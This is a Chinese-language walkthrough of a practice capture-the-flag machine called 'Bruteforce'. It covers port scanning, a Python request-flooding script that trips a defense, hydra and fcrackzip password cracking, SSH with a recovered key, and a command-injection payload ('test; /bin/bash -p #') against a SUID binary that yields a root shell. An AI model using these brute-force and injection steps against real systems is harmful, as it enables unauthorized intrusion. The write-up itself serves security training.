

Bruteforce

获取靶机地址:

<https://maze-sec.com/>

qq群: 660930334

配置:

靶机用VirtualBox制作，VMware导入可能网卡不兼容

用户:todd 密码:qq660930334

1. 启动虚拟机时按`e`键进入GRUB编辑模式
2. 修改启动参数: 将`ro`改为`rw single init=/bin/bash`

3. 按Ctrl+X启动进入单用户模式

vim /etc/network/interfaces

allow-hotplug ens33

iface ens33 inet dhcp

ip link set ens33 up

dhclient ens33

reboot -f

端口扫描

依旧是经典的22端口和80端口，正常访问80端口

```
(root㉿kali)-[~]
# nmap -p- -min-rate 10000 -n -Pn -sCV 192.168.44.184
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-02 22:49 EST
Nmap scan report for 192.168.44.184
Host is up (0.00045s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|   256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
| http-server-header: Apache/2.4.62 (Debian)
| http-title: Service Unavailable
MAC Address: 00:0C:29:6D:DD:B4 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.88 seconds
```

透露信息是暴力破解跟靶机名一样，然后提示了一个ta0用户名，还有一个admin的登录信息，接下来就是目录扫描

Scheduled Maintenance 计划维护

The BruteForce Node-1 is currently undergoing firmware upgrades.

暴力破解节点 1 目前正在执行固件升级。

We apologize for the inconvenience. Services are expected to resume shortly.

我们对此造成的不便表示歉意。服务预计很快将恢复。

Admin Note: Upgrade initiated by user [ta0].

管理员备注：升级由用户[ta0]发起。

(Status logs have been generated in the usual directory for audit purposes.)

(状态日志已在常规目录生成，用于审计目的。)

目录扫描

提示了有一个维护的html，内容是当有暴力破解的特征的时候，会关闭80端口，然后开启一个9090端口的一个后端管理平台，但是80端口没有啥交互点，那就目录扫描来增加流量

```
root@kali:[~]
# gobuster dir -u http://192.168.44.184 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,js,zip -t 20

=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:          http://192.168.44.184
[+] Method:       GET
[+] Threads:     20
[+] Wordlist:    /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.8
[+] Extensions:  js,zip,php,html,txt
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
/index.html      (Status: 200) [Size: 1069]
/maintenance.html (Status: 200) [Size: 1884]
/server-status    (Status: 403) [Size: 279]
Progress: 1323348 / 1323348 (100.00%)
=====
Finished
=====
```

[WARDEN-02] AUTOMATED DEFENSE LOG

[WARDEN-02] 自动防御日志

DO NOT INDEX. INTERNAL USE ONLY.

禁止索引。仅供内部使用。

```
[02:14:50] MONITOR: Traffic spike detected on eth0.  
[02:14:50] 监控：检测到 eth0 上的流量激增。  
[02:14:55] ALERT: Signature match {BRUTE_FORCE_SCAN}.  
[02:14:55] 警报：特征匹配 {暴力破解扫描}。  
[02:14:55] ACTION: LOCKDOWN initiated. Public HTTP (80) suspended.  
[02:14:55] 动作：启动封锁。公共 HTTP (80) 暂停。  
[02:14:56] NOTIFY: Admin [ta0] alerted via pager.  
[02:14:56] 通知：管理员[ta0]通过传呼机收到警报。  
[02:14:57] CONFIG: Loading emergency_failover.conf...  
[02:14:57] 配置：正在加载 emergency_failover.conf...  
[02:14:58] FAILOVER: Admin Console rerouted to backup port.  
[02:14:58] 切换：管理员控制台重定向到备用端口。  
[02:14:58] BIND: Internal Management Interface listening on ::0.0.0.0:9090  
[02:14:58] BIND: 内部管理接口监听在 ::0.0.0.0:9090  
[02:14:59] STATUS: Waiting for authorized secure handshake...  
[02:14:59] STATUS: 等待授权安全握手...
```



9090端口暴露

直接用curl去访问随机的目录发现没有触发防御，用gobuster提高线程去打发现直接timeout了，这里就让ai去写一个python脚本去爆破来达到刚好触发9090端口的效果

```
import requests  
import time  
import threading  
import sys  
import random  
import string  
import socket  
  
TARGET_IP = "192.168.44.184"  
TARGET_WEB_PORT = 80  
TRIGGER_COUNT = 100  
TIME_LIMIT = 10  
  
def generate_random_path():  
    return "".join(random.choices(string.ascii_lowercase + string.digits, k=10))  
  
def send_brute_request(counter):
```

```

try:
    url = f"http://{{TARGET_IP}}:{{TARGET_WEB_PORT}}/{{generate_random_path()}}.html"
    response = requests.get(url, timeout=2)
except requests.exceptions.RequestException:
    pass

def check_port_open():
    print(f"\n[*] 正在尝试连接 {{TARGET_IP}}:9090 验证结果...")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(3)
    try:
        result = sock.connect_ex((TARGET_IP, 9090))
        if result == 0:
            print("[SUCCESS] 成功！端口 9090 已开放！")
            return True
        else:
            print("[FAIL] 端口 9090 仍然关闭 (代码: {result})。")
            return False
    except Exception as e:
        print("[ERROR] 连接检查出错: {e}")
    finally:
        sock.close()

def main():
    print("[*] 开始对 {{TARGET_IP}} 进行80端口目录爆破")
    print("[*] 目标: 在 {{TIME_LIMIT}} 秒内触发 {{TRIGGER_COUNT}} 次爆破发送")
    threads = []
    start_time = time.time()
    for i in range(TRIGGER_COUNT):
        t = threading.Thread(target=send_brute_request, args=(i + 1,))
        threads.append(t)
        t.start()
        time.sleep(0.02)
    print("[*] 所有请求已发出, 正在等待线程完成...")
    for t in threads:
        t.join()
    duration = time.time() - start_time
    print(f"[*] 完成。耗时: {duration:.2f} 秒")
    if duration > 10:
        print("[-] 警告: 耗时超过10秒, 可能无法触发规则。")
    check_port_open()

if __name__ == "__main__":
    if len(sys.argv) > 1:
        TARGET_IP = sys.argv[1]
    main()

```

然后就能正常访问9090端口了，是一个登录框，前面提示有个admin Note就先用admin来爆破，因为ta0更像机器的用户名

爆破账号密码

```
[root@kali:~]# hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.44.184 -s 9090 http-post-form "/:username^USER^&password^PASS^:Invalid"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-02 23:31:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399)
, ~896525 tries per task
[DATA] attacking http-post-form://192.168.44.184:9090/:username^USER^&password^PASS^:Invalid
[9090][http-post-form] host: 192.168.44.184 login: admin password: password123
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-02 23:31:36
```

admin/password123

Welcome, Administrator 欢迎，管理员

The automated backup system has generated a new artifact.

自动备份系统已生成新的工件。

Status: Locked (Encryption Enabled)

状态：锁定（已启用加密）

Download Backup Artifact

下载备份工件

Logout 退出

发现又有一个加密的zip，再去爆破一下

爆破备份zip

```
[root@kali:~]# fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u site_backup.zip
```

PASSWORD FOUND!!!!: pw == rockyou

发现里面是给了一个ssh_login_key那就直接去连接就好了

ta0用户权限

```
[root@kali:~]# ssh -i ssh_login_key ta0@192.168.44.184
The authenticity of host '192.168.44.184 (192.168.44.184)' can't be established.
ED25519 key fingerprint is SHA256:O2iH79i8Pg0wV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:6: [hashed name]
  ~/.ssh/known_hosts:8: [hashed name]
  ~/.ssh/known_hosts:9: [hashed name]
  ~/.ssh/known_hosts:10: [hashed name]
  ~/.ssh/known_hosts:12: [hashed name]
  ~/.ssh/known_hosts:13: [hashed name]
  ~/.ssh/known_hosts:14: [hashed name]
  ~/.ssh/known_hosts:15: [hashed name]
  (18 additional names omitted)
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.44.184' (ED25519) to the list of known hosts.
Linux bruteforce 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jan 25 07:16:48 2026 from 192.168.56.104
ta0@bruteforce:~$ ls -la
total 36
drwx----- 3 ta0 ta0 4096 Jan 25 07:18 .
drwxr-xr-x 3 root root 4096 Jan 25 05:29 ..
-rw----- 1 ta0 ta0 65 Jan 25 06:58 .bash_history
-rw-r--r-- 1 ta0 ta0 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 ta0 ta0 3526 Apr 18 2019 .bashrc
-rw-r--r-- 1 ta0 ta0 807 Apr 18 2019 .profile
-rw----- 1 ta0 ta0 27 Jan 25 07:18 .rediscli_history
drwx----- 2 ta0 ta0 4096 Jan 25 05:37 .ssh
--r----- 1 ta0 ta0 44 Jan 25 06:42 user.txt
ta0@bruteforce:~$ cat user.txt
flag{user-8a2c4e6d1b9f3a5e7d0c2b4f6a8e1d3c}
ta0@bruteforce:~$ |
```

信息收集

```
ta0@bruteforce:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/opt/scripts/sys_monitor
ta0@bruteforce:~$ ls -la /opt/scripts/sys_monitor
-rwsr-xr-x 1 root root 16960 Jan 25 06:37 /opt/scripts/sys_monitor
ta0@bruteforce:~$ cd /opt/scripts/sys_monitor
-bash: cd: /opt/scripts/sys_monitor: Not a directory
ta0@bruteforce:~$ cd /opt/scripts/
ta0@bruteforce:/opt/scripts$ /opt/scripts/sys_monitor
System Monitor Tool v2.0 (Secure Mode)
Usage: /opt/scripts/sys_monitor <auth_token> <service_name>
```

发现有可疑文件/opt/scripts/sys_monitor，并且有权限可以下载，那就下载下来分析

```
[root@kali]~]
# scp -i ssh_login_key ta0@192.168.44.184:/opt/scripts/sys_monitor ./sys_monitor_analyzed
sys_monitor_analyzed                                         100%   17KB   5.9MB/s  00:00

[root@kali]~]
# ls sys_monitor_analyzed
sys_monitor_analyzed
```

sys_monitor

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
    __uid_t uid; // eax
    char s[512]; // [rsp+10h] [rbp-200h] BYREF

    if ( argc > 2 )
    {
        if ( !strcmp(argv[1], "X-MNT-9921") )
        {
            setresgid(0, 0, 0);
            setresuid(0, 0, 0);
            uid = getuid();
            printf("[+] Identity Verified. Running as UID: %d\n", uid);
            snprintf(s, 0x200u, "/usr/sbin/service %s status", argv[2]);
            puts("-----");
            printf("Executing: %s\n", s);
            system(s);
            puts("-----");
            return 0;
        }
        else
        {
            puts("Access Denied.");
            return 1;
        }
    }
    else
    {
        puts("System Monitor Tool v2.0 (Secure Mode)");
        printf("Usage: %s <auth_token> <service_name>\n", *argv);
        return 1;
    }
}
```

```
5 if ( argc > 2 )
6 {
7     if ( !strcmp(argv[1], "X-MNT-9921") ) ←
8     {
9         setresgid(0, 0, 0);
10        setresuid(0, 0, 0);
11        uid = getuid();
12        printf("[+] Identity Verified. Running as UID: %d\n", uid);
13        snprintf(s, 0x200u, "/usr/sbin/service %s status", argv[2]);
14        puts("-----");
15        printf("Executing: %s\n", s);
16        system(s);
17        puts("-----");
18        return 0;
19    }
20    else
21    {
22        puts("Access Denied.");
23        return 1;
24    }
25 }
```

第一个参数值一定要是X-MNT-9921才能进入下面的语句

```
{
    setresgid(0, 0, 0);
    setresuid(0, 0, 0); ←
    uid = getuid();
    printf("[+] Identity Verified. Running as UID: %d\n", uid);
    snprintf(s, 0x200u, "/usr/sbin/service %s status", argv[2]);
    puts("-----");
    printf("Executing: %s\n", s);
    system(s);
    puts("-----");
    return 0;
}
else
{
    puts("Access Denied.");
    return 1;
}
}
else
{
    puts("System Monitor Tool v2.0 (Secure Mode)");
    printf("Usage: %s <auth_token> <service_name>\n", *argv);
    return 1;
}
```

进来之后就是一个将进程的所有id都设置为root

```

        uid = getuid();
        printf("[+] Identity Verified. Running as UID: %d\n", uid);
        snprintf(s, 0x200u, "/usr/sbin/service %s status", argv[2]);
        puts("-----");
        printf("Executing: %s\n", s);
        system(s);
        puts("-----");
        return 0;
    }
    else
    {
        ...

```

然后就是第二个参数，本来程序是想让用户输入某个服务去检查他的状态，但是直接拼接到语句里面了，没有做其他的过滤，那就可以直接去要一个bin/bash

```

ta0@bruteforce:/opt/scripts$ /opt/scripts/sys_monitor X-MNT-9921 "test; /bin/bash"
[+] Identity Verified. Running as UID: 0
-----
Executing: /usr/sbin/service test; /bin/bash status
test: unrecognized service
/bin/bash: status: No such file or directory
-----
```

为了保证把setresuid(0,0,0)权限带出来就加一个 -p 然后命令后面还有一个status，为了让他不影响结果注释掉就好了

```

ta0@bruteforce:/opt/scripts$ /opt/scripts/sys_monitor X-MNT-9921 "test; /bin/bash -p #"
[+] Identity Verified. Running as UID: 0
-----
Executing: /usr/sbin/service test; /bin/bash -p # status
test: unrecognized service
root@bruteforce:/opt/scripts# ls -la
total 28
drwxr-xr-x 2 root root 4096 Jan 25 06:37 .
drwxr-xr-x 5 root root 4096 Jan 25 05:41 ..
-rwsr-xr-x 1 root root 16960 Jan 25 06:37 sys_monitor
root@bruteforce:/opt/scripts# cd /root
root@bruteforce:/root# ls -la
total 52
drwx----- 6 root root 4096 Jan 31 07:29 .
drwxr-xr-x 18 root root 4096 Feb 3 2026 ..
lrwxrwxrwx 1 root root 9 Jan 25 07:01 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 4 root root 4096 Apr 4 2025 .cache
drwx----- 3 root root 4096 Apr 4 2025 .gnupg
drwxr-xr-x 3 root root 4096 Mar 18 2025 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 72 Jan 25 06:44 root_creds.txt
-r----- 1 root root 45 Jan 25 06:43 root.txt
drw----- 2 root root 4096 Apr 4 2025 .ssh
-rw-r--r-- 1 root root 71 Jan 25 05:30 ta0_creds.txt
-rw-rw-rw- 1 root root 1948 Jan 25 06:58 .viminfo
-rw----- 1 root root 107 Jan 31 07:29 .Xauthority
root@bruteforce:/root# cat root
cat: root: No such file or directory
root@bruteforce:/root# cat root.txt
flag{root-5f1e9d2c8b4a7e3d0c6f9b1a5e2d8c4f}
```